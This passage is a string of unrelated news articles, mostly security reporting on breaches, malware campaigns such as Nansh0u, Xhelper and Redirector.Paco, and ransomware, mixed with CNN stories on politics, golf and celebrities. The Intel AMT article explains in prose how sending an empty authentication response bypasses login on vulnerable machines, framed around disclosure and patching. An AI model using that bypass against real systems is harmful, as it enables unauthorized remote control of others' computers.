According to TSMC, the computer virus was not released into the fabrication factories by any hacker.
Here's what happened according to the company:
"This virus outbreak occurred due to misoperation during the software installation process for a new tool, which caused a virus to spread once the tool was connected to the Company's computer network," TSMC said in a statement.
"Data integrity and confidential information was not compromised. TSMC has taken actions to close this security gap and further strengthen security measures."
TSMC Expects Attack to Inflict 250 Million Loss in Revenue
However, it remains unclear how the virus infected the factories at the first place and who was responsible for it, and also, the company did not confirm if the affected facilities were involved in making iPhone chips.
TSMC expects the shutdown will result in shipment delays and additional costs, and estimated that two days of outages will impact revenue by about 3 percent (approx. 250 Million), but is confident shipments delayed in the third quarter will be recovered in the fourth quarter 2018.
Being the exclusive provider of Apple's A-series chipsets for 2018, TSMC started mass production of the 7-nanometer A12 chip in May seemingly destined to power the upcoming iPhone models.
The 2018 iPhone models, which are expected to be officially announced on the 11th or 12th of September this year, will most likely include the A12 processor as the iPhone 8, iPhone 8 Plus, and iPhone X included the A11.
However, it is unclear if the shut down would result in a delayed release for the devices.
TSMC said the company has notified its customers of the event and added that it will work closely with them on their wafer deliveries. The details of the incident will be conveyed to each customer individually over the next few days.
The chipmaker giant, which builds chips for many of the industry's biggest tech companies, including Apple, AMD, NVIDIA, and Qualcomm, promised more information about the incident on August 6th.
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Bitcoin Cloud Mining service Cloudminr.io has been hacked and its whole users database is on sale for 1 Bitcoin.
The unknown hackers have successfully taken full control of the website's server and defaced the homepage of the website.
Users visiting the website are greeted with a defaced homepage showing the partial database of around 1000 clients including their usernames and unencrypted passwords in completely plain text format.
This clearly indicates that the company is not following the best security practices to secure their users private data as the passwords were not even hashed before storing into the database.
Hackers offering around 80,000 users database for 1BTC
The database of 1000 users shown on the website homepage is just a sample given by the hackers while they have compromised around 80,000 users database in total from the cloud mining service.
The hackers are offering the entire database of thousands of users for the just 1BTC, which could be a goldmine for cyber-criminals and spammers.
So far, there is not any details on whether Bitcoin wallets or simply parts of the website server were compromised.
However, users of Cloudminr.io are recommended to change their passwords at any other service that uses the same combination of username and password as their Cloudminr account.
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Cyber Security researchers at Guardicore Labs today published a detailed report on a widespread cryptojacking campaign attacking Windows MS-SQL and PHPMyAdmin servers worldwide.
Dubbed Nansh0u, the malicious campaign is reportedly being carried out by an APT-style Chinese hacking group who has already infected nearly 50,000 servers and are installing a sophisticated kernel-mode rootkit on compromised systems to prevent the malware from being terminated.
The campaign, which dates back to February 26 but was first detected in early-April, has been found delivering 20 different payload versions hosted on various hosting providers.
The attack relies on the brute-forcing technique after finding publicly accessible Windows MS-SQL and PHPMyAdmin servers using a simple port scanner.
Upon successful login authentication with administrative privileges, attackers execute a sequence of MS-SQL commands on the compromised system to download malicious payload from a remote file server and run it with SYSTEM privileges.
In the background, the payload leverages a known privilege escalation vulnerability (CVE-2014-4113) to gain SYSTEM privileges on the compromised systems.
"Using this Windows privilege, the attacking exploit injects code into the Winlogon process. The injected code creates a new process which inherits Winlogon SYSTEM privileges, providing equivalent permissions as the prior version."
The payload then installs a cryptocurrency mining malware on compromised servers to mine TurtleCoin cryptocurrency.
Besides this, the malware also protects its process from terminating using a digitally-signed kernel-mode rootkit for persistence.
"We found that the driver had a digital signature issued by the top Certificate Authority Verisign. The certificate – which is expired – bears the name of a fake Chinese company – Hangzhou Hootian Network Technology."
Researchers have also released a complete list of IoCs (indicators of compromise) and a free PowerShell-based script that Windows administrators can use to check whether their systems are infected or not.
Since the attack relies on a weak username and password combinations for MS-SQL and PHPMyAdmin servers, admins are advised to always keep a strong, complex password for their accounts.
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(CNN)Asparagus is known to be a traditional side dish of the Flemish people, so much so perhaps that a recipe for the delicious shoot has mistakenly appeared in a Belgian law database. Local commercial lawyer Morgan Moller was surprised to find the cooking instructions buried amongst medical product pricing laws in the French language version of the Moniteur Belge, a series of legal databases with access to papers, legislation and royal decrees. "A colleague mentioned it to me, so I went to the site to check and immediately saw the error and took a photo of it," he told CNN Tuesday. Which country has the best food?"The real problem here was that if something appears on the official gazette, it is by default accessible to anyone with an internet connection. "Whatever information is contained on that is supposed to be true and accurate because third parties could use it as a source to base their legal argument on." Read MoreMoller tweeted about his observation on Friday, with a video of the mistake receiving thousands of views."I'm fed up with people saying the Moniteur Belge is useless. You can find anything in there: laws, decrees, cooking recipes, you name it," his tweet read. "Honestly, I've rarely encountered something this hilarious in my legal career." Ik heb het gehad met mensen die zeggen dat het Belgisch Staatsblad nutteloos is. Je vindt er alles : wetten, besluiten, recepten om te koken, noem maar op. Eerlijk : in mijn juridische carriere deze hilariteit nog niet vaak tegengekomen. 😁 pic.twitter.com/VKR9rJOg6Z— Morgan G. Moller (@morganmoller) May 28, 2021
The recipe included six steps to baking asparagus with cream, tomato puree and Cantal cheese. The instructions include how to peel and rinse the asparagus and what temperature to set the oven at.The recipe appears similar to one that appears on the Marmiton cooking website. "It took on a life of itself, honestly, we had no idea it would be of interest to so many people," Moller added. Moller said that, to the best of his knowledge, an error like this doesn't happen often.The Moniteur Belge did not respond to CNN's request for comment. The director, Wilfried Verrezen, told Belgian news outlet RTL Info Friday that the database in question had no legal value and that the mistake would be corrected immediately.
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The U.S. is presently combating two pandemics--coronavirus and ransomware attacks. Both have partially shut down parts of the economy. However, in the case of cybersecurity, lax security measures allow hackers to have an easy way to rake in millions.
It's pretty simple for hackers to gain financially, using malicious software to access and encrypt data and hold it hostage until the victim pays the ransom.
Cyber attacks are more frequent now because it is effortless for hackers to execute them. Further, the payment methods are now friendlier to them. In addition, businesses are willing to pay a ransom because of the growing reliance on digital infrastructure, giving hackers more incentives to attempt more breaches.
Bolder cybercriminals
A few years back, cybercriminals played psychological games before getting bank passwords and using their technical know-how to steal money from people's accounts. They are bolder now because it is easy for them to buy ransomware software-as-a-service and learn hacking techniques from online video-sharing sites, like YouTube. Some cyber gangs are even offering their services for a business hacking set up for a fee, typically a share of the profits.
Cryptocurrency made the hackers bolder, as they can extort unlimited and anonymous cash payments. With the anonymity of bitcoin transfers, hackers found out they can demand higher amounts from their victims.
You can also blame the rise in cyberattacks on the behavior of some firms that are willing to pay millions of dollars in bitcoin. However, attacks will stop if firms and data security experts ensure that hacking will not be profitable anymore.
Are cyber attacks getting a higher profile or actually rising?
The answer to both questions is yes. Ransomware is becoming more common because it is straightforward to execute. Hackers use software to poke around security holes or by tricking network users using phishing scam tactics like sending malware that seem to come from a trusted source. In addition, some large companies have been lax with their network security protocols, which cybersecurity experts learned recently.
One such case is the supply chain attack at Colonial Pipeline, whose CEO Joseph Blount admitted before Congress that the company does not use multifactor authentication when users log in.
Based on the Internet Crime Report released in 2020, the FBI received close to 2,500 ransomware reports in 2020, 20 percent higher than the reported cases in 2019. The FBI also noted that the collective cost of the ransomware attacks in 2020 was close to $29.1 million. It is equivalent to a 200 percent increase over 2019, wherein the cost reached $8.9 million.
Another contributing factor to the rise in ransomware attacks is the growing number of online users. The coronavirus pandemic caused a spike in worldwide internet usage. Many students and workers are working and learning remotely.
Cybercrime Magazine predicts that ransomware will cost victims about $265 billion each year starting 2031. Attacks are likely to occur every two seconds as hackers refine their malware attacks and extortion practices.
Impact of ransomware on business
We already know how ransomware can have devastating effects on businesses, large or small. But it pays to be reminded time and again because even enterprises can become victims. Cybercriminals continue to exploit vulnerabilities in network security systems. In addition, many hacking gangs are using ransomware and denial-of-service attacks for financial gains.
Aside from the increasing occurrence of ransomware attacks, the cost of the attacks is growing as well. Ransomware paralyzes a company's digital network and associated devices. Because sensitive business data is breached, business operations, particularly for supply chains, are affected--thus, companies prefer to pay a ransom.
But theoretically, even if the company pays ransom, there is no guarantee that the sensitive data has not been copied. Likewise, there is no guarantee that attackers will return all the data or that the decryption key will work. In the case of Colonial, the decryption key hackers gave them after paying the ransom was too slow. So Colonial resorted to using their backup files. Kaseya, on the other hand, preferred to work with a third party for a decryption key.
Preventing ransomware infection
The FBI advises companies never to pay ransom to cybercriminals because it encourages them to launch more attacks. Some ways to prevent such attacks include:
Working with a cybersecurity firm that provides the best security system that fits a business' current and future needs is one of your primary options.
Staying vigilant is another way to thwart infection. If your systems are slowing down for no apparent reason, disconnect from the internet and shut it down. Then, you can call your network security provider and seek their help. The Biden administration encourages businesses to beef up their cybersecurity programs and review their corporate security plans. Further, you should cooperate with the FBI and the Ransomware and Digital Extortion Task Force of the U.S. Department of Justice.
Aside from the technical aspect of assuring cybersecurity, sometimes it pays to go back to basics.
Use security training so your employees will have a better understanding of the importance and meaning of cybersecurity. In addition, employees should learn to ensure the protection of the entire company from cyber attacks.
Train yourself and your staff not to click on links from unverified sources, as phishing emails are one of the methods to spread malware and make your company an easy target. Always scan emails, and notify employees of out-of-network emails.
Practice creating regular backups of your data. Have at least two data backups and store them at separate locations. Grant access to your backup only to your most trusted staff.
Use data encryption to protect emails, file exchanges, and personal information.
Ensure that you upgrade all your applications regularly so you can fix vulnerabilities.
Use password managers to ensure that all employees will have stronger passwords. Instruct employees to use different passwords to log in to the other applications you use in your company.
Conclusion
Ransomware attacks are rampant, due to their ease and profitability. Knowing about the activities of cybercriminal gangs and providing employee training on cybersecurity is vital. Combining technological expertise and basic security practices will help mitigate ransomware infection. However, it's important not to panic and know the security measures you should follow.
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Story highlightsRep. Franks contrasts 2005 comments to Clinton's policies Arizona congressman says a Clinton administration would "undermine the Constitution" (CNN)Republican Rep. Trent Franks on Tuesday compared Donald Trump's lewd 2005 comments about women to Hillary Clinton's pro-choice policies. "Donald Trump's words degraded and insulted women in the most flagrant possible way, and yet Hillary Clinton's policy is to allow the murder of a half a million little tiny women every year," the Arizona congressman said in an interview with CNN's Erin Burnett on "Erin Burnett OutFront." Donald Trump won't say vulgar remarks reference 'sexual assault'Franks has long been a critic of Clinton saying that as president she would appoint Supreme Court justices that would "undermine the Constitution."Burnett asked Franks to clarify his contrast of Trump's 'vulgar' words with Clinton's policies. "What policies has she put forth that would support assault?" Burnett asked Franks. Read MoreList: Which Republicans are abandoning Trump and which are sticking by him?"The left has coarsened this culture in every way imaginable," Franks said. "It's okay for adult men to walk into little girl's restrooms. It's okay to stand by with a golf club in your hand and watch ISIS sell little 6 year-old girls into slavery for 50 cents. It's okay to kill your unborn children or even your born children if it happens that way, and it's okay to marry your horse. But somehow when that manifests in a presidential campaign, all of a sudden the left feigns this outrage. And I think it's them that started in the first place."Burnett continued to press Rep. Franks on whether he thought Clinton's pro-choice policies were equivalent to Trump's 2005 comments about groping women's genitals."It's the difference between degrading and insulting and the difference between life and death," Franks said..@RepTrentFranks compares Trump's 2005 remarks about women to Clinton supporting pro-choice policies. https://t.co/jS1acM73Zb— OutFrontCNN (@OutFrontCNN) October 11, 2016
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Story highlightsBrett Rumford leads China Open by a shot after third round Rumford is bidding for successive wins on the European TourLocal amateur Dou Wocheng continues to impressPhil Mickelson leads Wells Fargo Championship on PGA TourBrett Rumford is enjoying the European Tour's 'Asian Swing' and is well placed to secure back to back victories by taking a one-shot lead into the final round of the China Open Sunday.The Australian, who won the Ballantine's Championship in Korea last weekend with an eagle at the first playoff hole, carded a third round three-under 69 in blustery conditions at the Binhai Lake Golf Club.Rumford, 35, carded a hat-trick of birdies to catch overnight leader Mikko Ilonen and the Finn bogeyed the last after driving into the water to relinquish the lead.It left Rumford on 12-under 204, one clear of Illonen, with Spain's Pablo Larrazabal in third, a further shot back.Thailand's Kiradech Aphibarnrat will go into the final round in fourth -- three behind.JUST WATCHEDFlorida welcomes two new resortsReplayMore Videos ...MUST WATCHFlorida welcomes two new resorts 03:51JUST WATCHEDThe toughest shot in golf?ReplayMore Videos ...MUST WATCHThe toughest shot in golf? 00:47The tournament has been notable for the appearance of teenage local players, notably 12-year-old Ye Wocheng, who missed the cut.But his amateur counterpart, Dou Zecheng, a relative veteran at 16, continued to impress and carded a level-par 72 for two-under overall.Read: 'Baby' Zhe makes European Tour history"I had some good iron shots and my putting was especially good today, but I still need to improve on my distance," he told AFP.Up front, Rumford has taken charge but acknowledged conditions were difficult, particularly on the back nine."That was a tough day," he told the official European Tour website."I really started to feel things on the back nine. I did really well to hang in nicely with some tired golf swings, I mentally stayed with it -- physically not so much but mentally I hung in there."Defending champion Branden Grace of South Africa was the last player to win two successive events on the European Tour, back in January 2012.He is nine shots behind in China after a third round 72.JUST WATCHEDLife on the road with Martin KaymerReplayMore Videos ...MUST WATCHLife on the road with Martin Kaymer 05:06JUST WATCHEDThe return of golf's 'Mechanic'ReplayMore Videos ...MUST WATCHThe return of golf's 'Mechanic' 05:13Meanwhile, on the PGA Tour, Phil Mickelson grabbed a share of the halfway lead at the $6.7 million Fargo Championship in North Carolina.The legendary "leftie" carded a five-under 67 at Quail Hollow to stand on a nine-under 135.Australia's Scott Gardiner, who matched Mickelson's 67, was tied for second on 137 with Americans Nick Watney and George McNeill.World No.2 Rory McIlroy shared fifth place with five others, three behind.Mickelson finished second behind McIlroy at Quail Hollow in 2010 and is tuning up for the U.S. Open championship at Merion next month.Northern Ireland's McIlroy, one of seven joint leaders after the first round, shot a one-under 71 to be tied with England's Lee Westwood, Australian Rod Pampling and home pair Jason Kokrak and Derek Ernst.
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Over the past few months, hundreds of Android users have been complaining online of a new piece of mysterious malware that hides on the infected devices and can reportedly reinstall itself even after users delete it, or factory reset their devices.
Dubbed Xhelper, the malware has already infected more than 45,000 Android devices in just the last six months and is continuing to spread by infecting at least 2,400 devices on an average each month, according to the latest report published today by Symantec.
Here below, I have collected excerpts from some comments that affected users shared on the online forums while asking for how to remove the Xhelper Android malware:
"xhelper regularly reinstalls itself, almost every day!"
"the 'install apps from unknown sources' setting turns itself on."
"I rebooted my phone and also wiped my phone yet the app xhelper came back."
"Xhelper came pre-installed on the phone from China."
"don't buy cheap brand phones."
From Where Xhelper Android Malware Comes?
Though the Symantec researchers did not find the exact source from where the malicious app packed with the Xhelper malware comes in the first place, the security firm did suspect that a malicious system app pre-installed on Android devices from certain brands actually downloaded the malware.
"None of the samples we analysed were available on the Google Play Store, and while it is possible that the Xhelper malware is downloaded by users from unknown sources, we believe that may not be the only channel of distribution," Symantec researchers write in its report.
"From our telemetry, we have seen these apps installed more frequently on certain phone brands, which leads us to believe that the attackers may be focusing on specific brands."
In a separate report published two months ago by Malwarebytes, researchers believed that the Xhelper malware is being spread by "web redirects" or "other shady websites" that prompt users to download apps from untrusted third-party sources.
How Does the Xhelper Malware Work?
Once installed, Xhelper doesn't provide a regular user interface; instead, it gets installed as an application component that doesn't show up on the device's application launcher in an attempt to remain hidden from the users.
In order to launch itself, Xhelper relies on some external events triggered by users, like connecting or disconnecting the infected device from a power supply, rebooting a device, or installing or uninstalling an app.
Once launched, the malware connects to its remote command-and-control server over an encrypted channel and downloads additional payloads such as droppers, clickers, and rootkits on the compromised Android devices.
"We believe the pool of malware stored on the C&C server to be vast and varied in functionality, giving the attacker multiple options, including data theft or even complete takeover of the device," the researchers say.
The researchers believe that the source code of Xhelper is still a work in progress, as some of its "older variants included empty classes that were not implemented at the time, but the functionality is now fully enabled."
The Xhelper malware has been seen targeting Android smartphone users primarily in India, the United States, and Russia.
Though many antivirus products for Android detect the Xhelper malware, they are yet not able to permanently remove or block it from getting itself reinstalled on the infected devices.
Since the source of the malware is still unclear, Android users are recommended to take simple but effective precautions like:
keep devices and apps up-to-date,
avoid app downloads from unfamiliar sources,
always pay close attention to the permissions requested by apps,
frequently back up data, and
install a good antivirus app that protects against this malware and similar threats.
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So you just bought a new Android-based smartphone, what comes next? What else but the most exciting part downloading the right apps to boost its functionality. Android gives you the freedom to personalize your device, which has made it attractive to those who want their smartphones to be as unique as possible
"Many apps will ask you to grant them network access so they can download updates. Others seek permission to read your phone's state and identity so calls won't disrupt them from doing what they're doing. Unfortunately, these permissions can be abused for criminal intentions." Trendmicro said in report.
Before android applications was abusing permissions to access user's personal data, but now new generations of adware targeting Android smartphones are increasingly violating user privacy by grabbing personal information and using it without permission.
Adware is software that is used to gather information about the users. This information is sent to advertising agencies who are the people who planted the adware in the first place. Adware displays an advertisement in the form of pop ups or text messages. When you click on the advertisement, you will be redirected to a browser that will open the link to the advertisers' site. When you visit the site, your data will be logged into the advertisers' server. We have no way of ensuring that adware is within its legal limitations while collecting data about you. The procedure is very simple.
Although most adware is designed to collect some user information, the line between legitimate data gathering and violating privacy is starting to blur. The process becomes a privacy issue when app developers take more information than they originally asked for and then sell it to ad networks.
Here is a list of the data leaked from the Android device and sent to the servers of the company behind this module:
The device's IP address on all interfaces (i.e., both WiFi and mobile network)
The device's ANDROID_ID (unique 64-bit identifier for the device)
The Android OS version
The user's location, as determined by GPS
The user's mobile network and their country code
The user's phone number
The device's unique ID (their IMEI, MEID, or ESN)
The device's manufacturer and version
Based on information from MARS and Google Play, at least 7,000 free apps use this particular advertising module. 80% of them are still available, and at least 10% of them have been downloaded more than one million times.
In addition to taking the user's personal information, these ads also display advertising in particularly annoying ways. Either notifications or an icon on the device's home screen are used to serve ads to users. Users should be careful about all mobile apps they download, wherever they come from.
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Earlier this week Intel announced a critical escalation of privilege bug that affects its remote management features shipping with Intel Server chipsets for past 7 years, which, if exploited, would allow a remote attacker to take control of vulnerable PCs, laptops, or servers.
The vulnerability, labeled CVE-2017-5689, affects Intel remote management technologies, including Active Management Technology (AMT), Intel Standard Manageability (ISM), and Intel Small Business Technology (SBT) software, versions 6 through 11.6.
The flaw was originally discovered by Maksim Malyutin, a member of Embedi research team, in mid-February, who then responsibly disclosed it to the Intel security team.
My previous article, published earlier this week, was based on the partial information shared by Maksim to The Hacker News, as the reported Intel AMT vulnerability was highly critical and can be exploited remotely, Embedi held technical details until most sysadmins update their systems with a patched firmware.
Today, Embedi research team has disclosed complete technical details about the critical vulnerability, revealing that a remote attacker can hijack computers powered by Intel Chipset just by sending an empty authentication string.
To understand how, I have compiled this piece explaining:
What is Intel AMT technology?
Where the Intel AMT Vulnerability resides?
How can an attacker exploit Intel AMT Vulnerability?
What is Intel AMT technology?
Intel-based chipsets come with an embedded technology, called Intel Active Management Technology (AMT), to enhance the ability of IT administrators, allowing them to remotely manage and repair PCs, workstations, and servers of their organization.
Using a web-based control panel, accessible from port 16992 and 16993, which comes pre-installed on the chipset, an administrator can remotely manage a system.
The Intel AMT Web Interface works even when the system is turned off, as long as the platform is connected to a line power and a network cable, as it operates independently of the operating system.
Where the Intel AMT Vulnerability resides?
To protect Intel AMT Web Interface from unauthorized users, the service makes use of HTTP Digest and Kerberos authentication.
The escalation of privilege vulnerability resides in the way Intel AMT Web Interface handles user authentication over HTTP Digest protocol, which is based on a simple challenge-response paradigm.
Before going into the technical details about the exploitation of this vulnerability, first, you need to know how the Digest authentication works.
The Digest authentication completes in the following steps:
Client requests server to initiate login, and in response, the server returns a randomly generated 'nonce' value, the HTTP method, and the requested URI.
Next, the user is prompted to enter his username and password.
Once entered, the client machine sends an encrypted string (referred as user_response)—generated by applying a hash function to the entered username and password, server-supplied nonce value, HTTP method, and the requested URI—to the server.
The server also calculates a similar encrypted string (referred as computed_response) using username and password stored in the database and all the other three values.
The server compares both the strings using the strncmp() function and if they match, it allows the user to log into the Intel AMT Web Interface.
The Intel AMT vulnerability resides exactly in the strncmp() function that server uses to compare both encrypted strings.
Syntax example:
strncmp (string_1, string_2 , length)
—where, length parameter defines how many characters needs to be compared.
Strncmp() is a binary safe string comparison function that returns a negative, zero, or a positive integer depending upon whether string_1 is greater or less than string_2, and if they are equal, it returns zero.
As, it's obvious, for successful authentication, user_response variable must be equal to computed_response variable; hence the strncmp() function must return a zero value for any length.
But, according to the researcher, the programmers who coded this authentication process for Intel platform mistakenly used the length of the user_response variable in strncmp() function, instead of the computed_response variable for response_length parameter.
How can an attacker exploit Intel AMT Vulnerability? (Demo)
(The above video demonstration for Intel AMT flaw has been submitted by our beloved readers and independent security researchers, Dhanunjaya.V & Jithin D Kurup, who have previously reported critical flaws in IP cameras, bill boards, banks and payment gateways and many Indian Government sites.)
To exploit this logical flaw in Intel AMT Web Interface, all an unauthorized attacker needs to do is send nothing (null) into user_response to the server.
Since the strncmp() function is mistakenly using character length of the user_response variable to authorize the user, which in this case is null, the string comparison function would be tricked into matching nothing and believe that attacker's response (user_response) is equals to the computed_response.
As both variables matched, the attacker will be authenticated to log into the Intel AMT Web Interface and do whatever an authorized administrator can do, gaining high-level privileges on the system.
Computers Can be Hacked Even If They're Turned OFF
An attacker can also use Keyboard Video Mouse (KVM) feature, available inside Intel AMT Web Panel, which runs at a hardware level and allows sysadmins to remotely take control of the whole system, and perform tasks like:
"[Attacker] can remotely load, execute any program to the target system, read/write any file (using the common file explorer)," the research team wrote in its paper [PDF]. "Using IDE-R (IDE Redirection), [the attacker] can remotely change the boot device to some other virtual image for example."
"Using SOL (Serial over LAN), [the attacker] can remotely power on/power off/reboot/reset and do other actions with this feature. Also, it can be used to access BIOS setup for editing," the team added.
In short, a potential attacker can do everything that a sysadmin can do: he can log into a vulnerable machine's hardware, and silently perform malicious activities, like tampering with the system and installing virtually undetectable malware.
Install Firmware Update to Patch the Vulnerability NOW!
The bug affects Intel manageability firmware versions 6.x, 7.x, 8.x 9.x, 10.x, 11.0, 11.5, and 11.6 for Intel's AMT, ISM, and SBT platforms. However, versions before 6 or after 11.6 are not impacted.
Intel has rated the vulnerability as highly critical and released new firmware versions, instructions to detect if any workstation runs AMT, ISM, or SBT, a detection guide to check if your system is vulnerable, and a mitigation guide for those organizations that can not immediately install updates.
So, the Intel customers are strongly recommended to install a firmware patch without wasting a single second.
Also, there's a simple mitigation tool available on Github, created by Malware researcher Bart Blaze, which is based on the Mitigation Guide provided by Intel.
All an affected user has to do is, just download and run DisableAMT.exe, it will disable Intel AMT on Windows operating system (x86 and x64).
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Story highlightsRussian spokesman: US troop increase in Eastern Europe is 'a 'threat'Spokesman Peskov expresses hope for improved US-Russia relationsMoscow (CNN)Russia has criticized US troop deployments in Europe, saying that the deployment of thousands of US soldiers as part of continuous troop rotations to Eastern Europe is "a threat" to Russian security.When asked about US and NATO troops in Poland, Kremlin spokesman Dmitri Peskov told journalists on a conference call Thursday that Russia's response was a natural reaction to an increase in military strength by a neighbor. JUST WATCHEDPaul Ryan: 'Russia is a global menace'ReplayMore Videos ...MUST WATCHPaul Ryan: 'Russia is a global menace' 02:04"We see it as a threat to us. This is an action that threatens our interests, our security, moreover, this is a third nation (apart from Russia and Poland) that is increasing its military presence near our borders in Europe, and it's not even a European nation. "One thousand or ten thousand -- we're talking about the increase of military presence. There's nothing to add."Earlier this week 4,000 US soldiers arrived in Germany as part of troop rotations to Europe that the Pentagon said are meant to send a clear message to Russia.Maj. Gen. Timothy McGuire, deputy commander of US miltary in Europe, supervises the unloading of US military vehicles from a transport ship in the harbor in Bremerhaven, northwestern Germany.Read More"Russia, as you know with their incursion into Ukraine, that's something that has a lot of our allies and partners concerned," Pentagon spokesman Capt. Jeff Davis told reporters on Monday. "Being able to demonstrate tangibly our commitment to their defense is an important element of our overall collective defense in Europe."JUST WATCHEDWhat is life like for NATO troops in NorwayReplayMore Videos ...MUST WATCHWhat is life like for NATO troops in Norway 03:23Along with the troop increase, 2,400 pieces of military equipment that included tanks, armored fighting vehicles, artillery, trucks and containers were deployed.The equipment will be moved to Poland, where it will be dispersed across seven locations in Eastern Europe for training and exercises with European allies.What the last 48 hours told us about Trump's next 4 yearsHopes for future detenteJUST WATCHEDPoland militia 'ready for anything'ReplayMore Videos ...MUST WATCHPoland militia 'ready for anything' 02:38Asked about the incoming administration's change of attitude towards relations with Moscow, Peskov reiterated there should be more mutual respect between Russia and the US. The comments came after President-elect Donald Trump held a news conference on Wednesday, where he acknowledged the likelihood of Russian involvement in hacking ahead of the 2016 US election."President Putin with his actions and his statements has clearly and undoubtedly showed his readiness to respect our partners, but this respect can only be mutual, it cannot be unilateral. "That's why, of course, there should be more mutual respect in Russia-US ties, from our viewpoint, much more."He said that the Kremlin hoped that the two leaders "will get along." "At least, Mr. Trump was talking about his readiness to have a dialogue. It does not mean a readiness to agree with each other on everything, that's what Moscow does not expect, but a dialogue is what we should hope for in search of many complicated situations."JUST WATCHEDRussia reacts to intel claimsReplayMore Videos ...MUST WATCHRussia reacts to intel claims 02:12Peskov also responded to remarks this week from prospective Secretary of State Rex Tillerson who claimed Russia's annexation of Crimea in 2014 was an "illegal action" and that Moscow "must be held to account for its actions."CNN asked Peskov about Tillerson's statement. He said: "This is his position, we take it into consideration. Of course, Russia will patiently keep explaining the matter (to him). Of course, we don't agree with (Tillerson's) wording and will be reasonably explaining our position (to him)."Tillerson admitted Wednesday he had not spoken with the incoming President on policies regarding Russia.During an exchange with New Jersey Democratic Sen. Bob Menendez at his confirmation hearing before the Senate Foreign Affairs Committee, the retired ExxonMobil CEO said that a conversation about Russia between himself and Trump had "not yet occurred" and that the two had only discussed global affairs in general terms.CNN's Mansur Mirovalev reported from Moscow. Euan McKirdy wrote and reported from Hong Kong.
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A group of cyber criminals has infected as much as 1 Million computers around the world over the past two years with a piece of malware that hijacks search results pages using a local proxy.
Security researchers from Romania-based security firm Bitdefender revealed the presence of this massive click-fraud botnet, which the researchers named Million-Machine Campaign.
For those unaware, Botnets are networks of computers infected with malware designed to take control of the infected system without the owner's knowledge, potentially being used for launching distributed denial-of-service (DDoS) attacks against websites.
The malware in question is known as Redirector.Paco that alone has infected over 900,000 machines around the world since its release in 2014.
The Redirector.Paco Trojan infects users when they download and install tainted versions of popular software programs, such as WinRAR, YouTube Downloader, KMSPico, Connectify, or Stardock Start8.
Once infected, Paco modifies the computer's local registry keys and adds two new entries disguised as "Adobe Flash Update" and "Adobe Flash Scheduler," to make sure the malware starts after every computer boot-up process.
Besides this, the malware drops JavaScript files that downloads and implements a PAC (Proxy Auto Configuration) file that hijacks all Web traffic, ensuring traffic routes through an attacker-controlled server.
Search Engine Display Fake Results even Over HTTPS
Paco then sniffs all Web traffic originating from the infected computer and looks for queries made over popular search engines like Google, Bing, or Yahoo! and replace the actual results with fake Web pages, mimicking their real User Interface.
The botnet has the ability to redirect search engine results even when the results are served over encrypted HTTPS connections. To do so, the malware uses a free root certificate ‒ DO_NOT_TRUST_FiddlerRoot ‒ that avoid your browser showing HTTPS errors.
"The goal is to help cyber-criminals earn money from the AdSense program," Bitdefender's Alexandra Gheorghe said in a blog post. "Google's AdSense for Search program places contextually relevant ads on Custom Search Engine's search results pages and shares a portion of its advertising revenue with AdSense partners."
Although the malware tries to make the search results look authentic, some markers can raise suspicions, like messages showing "Waiting for proxy tunnel" or "Downloading proxy script" in the status bar of your web browser.
Additionally, the search engine takes longer than usual to load results, and the typical yellow 'O' characters in Google above the page numbers are not displayed, according to researchers.
The security firm says that majority of victims are from India, Malaysia, Greece, the United States, Italy, Pakistan, Brazil, and Algeria.
However, to avoid these kinds of cyber threats, following standard security measures could save your ass, such as keep your system and antivirus up-to-date, and always keep an eye on warning that says something is not right with your computer.
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(CNN)Dwayne Johnson has hit out at a British tabloid for publishing what he calls a "100% fabricated" interview that quotes the American actor criticizing millennials and "smacking down snowflakes."Johnson, also known as "The Rock," said the interview with the Daily Star newspaper -- which appeared on its front page and was billed as an "exclusive" -- never took place.The story claimed Johnson was critical of "PC softies" and said he "spoke out after a flood of snowflake stories hit the headlines.""So many good people fought for freedom and equality -- but this generation (is) looking for a reason to be offended," the paper quoted Johnson as saying.The piece, written by Jack Andrews, remained online until Saturday before it was eventually removed. It had appeared on the Daily Star's front page the previous day under the headline, "The Rock Smacks Down Snowflakes."Read MoreThe Daily Star's publishers have not responded to a CNN request for comment.In today's @Daily_Star - EXCLUSIVE: The Rock smacks down #snowflakes in PC rant- The weather girl with hots for Amazon billionaire- #Corrie Sean: My porn agony #frontpages #exclusive #WWE pic.twitter.com/xdgpLSVUEG— Daily Star (@Daily_Star) January 11, 2019
The wrestler-turned-actor, who stars in "The Fast and Furious" movie franchise, posted a video on Instagram denying he had taken part."The interview never took place. Never happened. Never said any of those words," Johnson said. "Completely untrue. 100% fabricated. I was quite baffled when I woke up this morning." View this post on Instagram Settin' the record straight. The interview never happened. Never said those words. 100% false. If I ever had an issue with someone, a group, community or a generation — I'd seek them out, create dialogue and do my best to understand them. Criticizing ain't my style. I don't cast stones and we all get to be who we are. #millies #plurals #boomers #TequilaGeneration 🤙🏾🥃 A post shared by therock (@therock) on Jan 11, 2019 at 3:12pm PST
Even before Johnson's video, commenters on Twitter had questioned whether the actor had really been angered by news stories about millennials that had appeared in the UK media in recent months, as the story claimed.The story said: "The superstar thinks that while the world has become a more tolerant and better place, whining snowflakes are draining positive change through their constant moaning."A quote attributed to Johnson added: "Generation snowflake or, whatever you want to call them, are actually putting us backwards."Maybe I'll turn out to be wrong, but this "The Rock hates snowflakes" story sure reads like a phony article. There's no context whatsoever, so I'm left to believe Dwayne reached out to the Daily Star on his own to...vent about millennials? https://t.co/hphs2HRoi4— Corey Erdman (@corey_erdman) January 11, 2019
The Star is overseen by the Independent Press Standards Organisation, the UK's largest regulator of newspapers and magazines. Its print edition has a daily circulation of 340,000 readers, according to the Audit Bureau of Circulations, which tracks the performance of UK papers.
